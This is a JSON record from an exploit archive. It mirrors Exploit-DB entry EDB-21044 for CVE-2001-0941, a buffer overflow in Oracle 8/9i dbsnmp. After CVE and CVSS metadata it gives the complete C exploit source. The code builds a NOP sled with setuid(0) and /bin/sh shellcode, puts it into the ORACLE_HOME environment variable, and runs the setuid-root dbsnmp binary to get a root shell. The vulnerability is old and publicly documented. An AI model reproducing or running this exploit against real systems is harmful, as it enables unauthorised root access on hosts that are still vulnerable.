{"exploit":{"id":"EDB-21044","name":"Oracle 8/9i - DBSNMP Oracle Home Environment Variable Buffer Overflow","description":"Oracle 8/9i - DBSNMP Oracle Home Environment Variable Buffer Overflow","cves":["CVE-2001-0941"],"author":"Juan Manuel Pascual EscribÃ¡","published":"2001-08-02","platform":"windows","type":"local","language":"C","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/21044","path":"exploits/windows/local/21044.c","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-21044.c","vulnerabilities":[{"id":"CVE-2001-0941","state":"PUBLISHED","title":null,"titleSource":null,"description":"Buffer overflow in dbsnmp in Oracle 8.0.6 through 9.0.1 allows local users to execute arbitrary code via a long ORACLE_HOME environment variable.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2001-0941","cvss":{"version":"2.0","baseScore":4.6,"severity":"medium","vectorString":"AV:L/AC:L/Au:N/C:P/I:P/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2001-0941"},"updatedAt":"2024-08-08T04:37:07.060Z","retrievedAt":"2026-11-26T15:05:46.576Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-21044.png?v=2","url":"https://exploitbin.com/exploits/EDB-21044","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-21044/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-21044/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"// source: https://web.archive.org/web/2001/https://www.securityfocus.com/bid/3138/info\n\nOracle is an Enterprise level SQL database, supporting numerous features and options. It is distributed and maintained by Oracle Corporation.\n\nWhen the ORACLE_HOME environment variable is filled with 750 bytes or more, a buffer overflow occurs. This overflow may be used to overwrite variables on the stack, including the return address. Since the dbsnmp program is setuid root, it is possible to gain elevated privileges, including administrative access.\n\nTo exploit this vulnerability, the user must be in the oracle group.\n\n/* Exploit code for dbsnmp binary in Oracle 8.1.6.0.0 Linux Platform. I tested it in RH 6.2.\n\ndbsnmp makes setresuid(,getuid(),) before reading ORACLE_HOME environment variable. Its necessary to call setuid(0) before normal shellcode.\n\nIn My tests Offset may vary from 7846 to 7896. Its posible to obtain a normal (uid=oracle) shell for low offsets (incomplete setuid(0) jumps).\n\n\n\n\"Cae fuego en lugar de mana\nSe disfraza el asfalto de mar\nEl zapato no encuentra el pedal\nParece que anda suelto satanas.\"\n\n\t\t\tL.E.Aute\n\n\n\nThis vulnerability was researched by:\n\tJuan Manuel Pascual <pask@plazasite.com>\n\nSpecial thanks to:\n\n\tIvan Sanchez <isanchez@plazasite.com>\n\tMundo Alonso-Cuevillas <mundo@plazasite.com>\n*/\n\n\n\n\n\n#include <stdio.h>\n#include <stdlib.h>\n\n#define BUFFER                                  800\n#define OFFSET                                 7896\n#define NOP                                    0x90\n#define BINARY  \"/usr/local/oracle/app/oracle/product/8.1.6/bin/dbsnmp\"\n\n\nchar shellcode[] =\n\"\\x90\"\t\t/* Additional NOP */\n\"\\x31\\xc0\"\t/* begin setuid (0) */\n\"\\x31\\xdb\"\n\"\\xb0\\x17\"\n\"\\xcd\\x80\"\n\n\"\\xeb\\x1f\"\n\"\\x5e\"\n\"\\x89\\x76\\x08\"\n\"\\x31\\xc0\"\n\"\\x88\\x46\\x07\"\n\"\\x89\\x46\\x0c\"\n\"\\xb0\\x0b\"\n\"\\x89\\xf3\"\n\"\\x8d\\x4e\\x08\"\n\"\\x8d\\x56\\x0c\"\n\"\\xcd\\x80\"\n\"\\x31\\xdb\"\n\"\\x89\\xd8\"\n\"\\x40\"\n\"\\xcd\\x80\"\n\"\\xe8\\xdc\\xff\\xff\\xff\"\n\"/bin/sh\";\n\n\nunsigned long get_sp(void) {\n   __asm__(\"movl %esp,%eax\");\n}\n\nvoid main(int argc, char *argv[]) {\n  char *buff, *ptr,binary[120];\n  long *addr_ptr, addr;\n  int bsize=BUFFER;\n  int i,offset=OFFSET;\n\n  if (!(buff = malloc(bsize))) {\n    printf(\"Can't allocate memory.\\n\");\n    exit(0);\n  }\n\n  addr = get_sp() -offset;\n  ptr = buff;\n  addr_ptr = (long *) ptr;\n  for (i = 0; i < bsize; i+=4)\n    *(addr_ptr++) = addr;\n\n  memset(buff,bsize/2,NOP);\n\nptr = buff + ((bsize/2) - (strlen(shellcode)/2));\n  for (i = 0; i < strlen(shellcode); i++)\n    *(ptr++) = shellcode[i];\n\nbuff[bsize - 1] = '\\0';\nsetenv(\"ORACLE_HOME\",buff,1);\nsystem(BINARY);\n}","sha256":"604cb92c47c61a3299f17aa31f779763f1e6ca6f58f9bbc6a0438567e4e3f73b","bytes":2567,"fetchedAt":"2026-11-26T15:05:41.001Z","encoding":"utf-8 (display only; download retains original bytes)"}